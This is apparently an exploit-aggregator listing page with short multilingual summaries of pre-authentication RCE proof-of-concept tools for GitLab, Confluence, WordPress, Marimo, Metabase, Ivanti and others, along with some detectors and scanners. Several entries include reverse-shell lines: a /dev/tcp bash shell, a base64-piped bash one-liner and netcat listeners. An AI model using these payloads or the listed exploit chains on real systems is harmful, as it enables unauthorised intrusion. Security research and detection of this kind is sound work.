CVE-2026-1731

CVE-2026-1731 BeyondTrust Remote Support 预认证RCE PoC !WARNING 此脚本仅供教育和研究目的 。未经明确许可 ，请勿将其用于任何系统。未经授权的访问或测试是非法且不道德的。使用此脚本前请阅读完整的免责声明。 概述 此脚本演示了一个影响BeyondTrust Remote Support RS 和 Privileged Remote Access PRA 的严重命令注入漏洞（CVE-2026-1731）。该问题源于与之前高调披露的 CVE-2024-12356 相同的 WebSocket 可达端点，因此是紧密相关的变体。...

watchTowr-vs-SolarWinds-WebHelpDesk-CVE-2025-40552-CVE-2025-40553

CVE-2025-40552 および CVE-2025-40553 SolarWinds Web Help Desk Pre-Auth RCE Chain SolarWinds Web Help Desk Pre-Auth RCE Chain Detection Artifact Generator Tool 説明 この Detection Artifact Generator は、SolarWinds Web Help Desk インスタンスが CVE-2025-40552 および CVE-2025-40553 に対して脆弱であるかどうかを検証します。 Detection Artifa...

CVE-2025-54322

CVE-2025-54322 - XSpeeder SXZOS 事前認証RCEスキャナー CVE-2025-54322 のマルチスレッド脆弱性スキャナーです。これは XSpeeder SXZOS ファームウェアにおける認証不要のリモートコード実行脆弱性で、世界中の約 70,000 台以上のホストに影響を与えます。 📋 目次 脆弱性について 機能 インストール 使用方法 出力 免責事項 クレジット 作者 🔍 脆弱性について CVE-2025-54322 は、SD-WAN デバイス、ルーター、エッジネットワーク機器を動作させる XSpeeder SXZOS...

CVE-2021-44077

CVE-2021-44077 CVE-2021-44077 の概念実証エクスプロイト: ManageEngine ServiceDesk Plus msiexec.exe pip install で requirements ファイルをインストールするか、requests パッケージがインストールされていることを確認してください。 リバースシェルを取得しようとする場合は、最初にリスナーを実行してください。例: root@kitploit: nc -l 4444 次に、url と exe 引数を指定してエクスプロイトスクリプトを実行します。例: root@kitploit: python...

CVE-2023-38646

Metabase 事前認証 RCE CVE-2023-38646 2つのファイルを用意しました:- CVE-2023-38646-POC.py - 任意のMetabaseインスタンスがsetup-tokenを漏えいしているか確認するためのツール。 CVE-2023-38646-Reverse-Shell.py - 攻撃者が管理するマシン上でリバースシェルを取得するためのツール。 CVE-2023-38646-POC.py CVE-2023-38646-Reverse-Shell.py 使い方 root@kitploit: git clone...

CVE-2026-39987-marimo-rce

CVE-2026-39987 - Marimo Pre-Auth RCE Marimo における認証なしリモートコード実行（WebSocket ターミナル経由） 📌 概要 CVE-2026-39987 は、Marimo のバージョン 0.23.0 未満に影響する深刻な Pre-Authentication Remote Code Execution （認証前リモートコード実行）の脆弱性です。/terminal/ws WebSocket エンドポイントは認証を完全にバイパスするため、認証されていない攻撃者が Marimo プロセスの権限（通常 Docker 環境では root...

CVE-2021-26084

Confluence Server Webwork Pre-Auth OGNL インジェクション CVE-2021-26084 Confluenceは、オーストラリアのソフトウェア企業Atlassianが開発したWebベースの企業向けWikiです。 認証されていない攻撃者がConfluence ServerまたはData Centerインスタンス上で任意のコードを実行できるようにするOGNLインジェクションの脆弱性が存在します。 参照...

CVE-2026-45829

🚨 CVE-2026-45829 - ChromaDB 事前認証RCE ChromaDBベクターデータベースにおける重大なリモートコード実行 📌 概要 CVE-2026-45829 は、人気のオープンソースAIベクターデータベース ChromaDB における重大な事前認証リモートコード実行 脆弱性です。 認証されていない攻撃者は、ChromaDBが埋め込み関数設定を処理する方法を悪用して、サーバ上で完全なリモートコード実行 を達成できます。 主要情報 項目| 詳細 ---|--- CVE ID| CVE-2026-45829 深刻度| 重大 CVSS 9.8 影響を受けるコンポーネント|...

wp2shell

wp2shell WordPress 6.9.0～6.9.4 および 7.0.0～7.0.1 に対する認証前のリモートコード実行。 CVE-2026-63030（バッチルート混乱による SQLi）と CVE-2026-60137（カスタマイザーの changeset 再エントリ）を連鎖させ、認証なしでの管理者作成と OS コマンド実行を実現します。パスワードクラックは不要です。 hashkitten による発見に感謝します。完全な SLCyber の技術分析はこちらをお読みください。 脆弱性 WordPress の REST API...

CVE-2026-39987

CVE-2026-39987 针对 Marimo 0.20.4 的 PoC ⚠️ 本工具仅用于教育目的和授权安全测试。创建者不对任何未经授权或非法使用负责。使用风险自负。 ⚠️ 信息： CVE-2026-39987 是 Marimo（0.23.0 之前的版本）中的一个严重的预认证远程代码执行（RCE）漏洞。 原理： /terminal/ws 端点未进行任何身份验证即被暴露。 位于： marimo/server/api/endpoints/terminal.py root@kitploit: @router.websocket"/ws" async def...

CVE-2024-9441

Nortek Linear eMerge E3 事前認証RCE PoC CVE-2024-9441 説明: このリポジトリには、Nortek Linear eMerge E3 CVE-2024-9441 の Proof of Concept PoC エクスプロイトが含まれています。これは、事前認証状態で リモートコード実行 RCE に対して脆弱です。この脆弱性は、パスワード回復機能の欠陥を介してトリガーされ、攻撃者が悪意のあるPHPコードをシステムに注入し、任意のコード実行を可能にします。 このPoCにより、以下が可能です: 細工されたリクエストを送信して脆弱性を悪用する。...

CVE-2025-55182-poc

CVE-2025-55182 概念验证 React 服务端组件中的关键预认证远程代码执行漏洞 这是一个完整的概念验证，演示了 CVE-2025-55182——[email protected] 中的一个关键漏洞，允许未经身份验证的攻击者通过原型链污染执行任意代码。 快速开始 root@kitploit: Clone the repository git clone https://github.com/whiteov3rflow/CVE-2025-55182-poc cd CVE-2025-55182-poc Exploit the server python3...

GitLab-preauth-RCE_CVE-2021-22205

GitLab-preauth-RCECVE-2021-22205 GitLab事前認証RCE（CVE-2021-22205）のシングルラインバッシュPoC root@kitploit: t="http://vuln.site";cmd='echo xxxbase64ofreverseshellcodexxx |base64 -d|bash';f="1.jpg";echo...

wp2shell-poc

これは一体どう機能するのか このPoCが公開されているwp2shellエクスプロイトとどう違うのか すべてのPoCは、RESTバッチルート混乱（CVE-2026-63030）とauthornotin SQLインジェクション（CVE-2026-60137）の2つのバグを、同一の二重入れ子バッチ形状で武器化しています。各PoCの違いは、選択されたRCEパス 、環境前提条件 、および安全デフォルト にあります。このドキュメントでは、このリポジトリの実装がその状況においてどこに位置するかを具体的に示します。 短いバージョン 1. 永続オブジェクトキャッシュの背後でも動作します。...

wp2shell-detect

wp2shell-detect Detector de caja negra, no intrusivo , para wp2shell — la cadena de RCE de preautenticación en el núcleo de WordPress divulgada el 2026-07-17: CVE-2026-63030 — confusión de rutas en el endpoint REST batch /wp-json/batch/v1: una subpetición cuya ruta falla en wpparseurl termina en ...

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882 Oracle E-Business Suite CVE-2025-61882 向け検出アーティファクト生成ツール 技術的な詳細は、ブログ記事 を参照してください 動作中の検出 root@kitploit: python3 watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882.py --command 'bash -i & /dev/tcp/192.168.1.10/4444 0&1' --platform linux --target...

CVE-2025-32433_Erlang-OTP_PoC

CVE-2025-32433Erlang-OTP このスクリプトは、ErlangベースのSSHサーバーを実行しているシステムにおける重大な事前認証脆弱性をテストするために設計されたカスタムセキュリティツールです このスクリプトは、ErlangベースのSSHサーバー（組み込みシステム、IoTデバイス、一部のバックエンドサービスなどで使用されるもの）を実行しているシステムにおける重大な事前認証脆弱性をテストするために設計されたカスタムセキュリティツールです。テスト対象の脆弱性は、SSHハンドシェイクフェーズ中に未認証のリモートコマンド実行を可能にする CVE-2025-32433...

CVE-2026-10520

🎯 CVE-2026-10520 および CVE-2026-10523 - Ivanti Sentry プリ認証リモートコード実行 + 認証バイパス 作成者: Ashraf Zaryouh "0xBlackash" 📌 概要 Ivanti Sentry （旧MobileIron Sentry）に影響する2つの重大な脆弱性： CVE-2026-10520 → CVSS 10.0 - プリ認証OSコマンドインジェクション（root権限でのRCE） CVE-2026-10523 → CVSS 9.9 - 認証バイパス...

lab-cve-2020-0610

CVE-2020-0610 BlueGate 实验室 - Windows RD Gateway UDP/DTLS RCE Nuclei PR：https://github.com/projectdiscovery/nuclei-templates/pull/13076 针对 CVE-2020-0610 （BlueGate）的完整可复现实验室环境，这是一个影响 Microsoft Windows 远程桌面网关（RD Gateway）的严重预认证远程代码执行漏洞。该实验室使安全研究人员能够使用最小化、非破坏性的 DTLS 握手技术安全地测试和验证此漏洞。 🎯 漏洞概述 CVE-2020-06...

ConfluentPwn

ConfluentPwn Confluence事前認証ONGLインジェクションリモートコード実行スキャナー CVE-2022-26134。 使用方法 以下のGIFはツールのデモ使用例を示しています： 以下がツールのヘルプ出力です： root@kitploit: $ ./cfscan -h +-------------------------------+ | C O N F L U E N T P W N | +-------------------------------+ + ConfluentPwn by RedHunt Labs - モダンな攻撃表面（ASM）管理企業 +...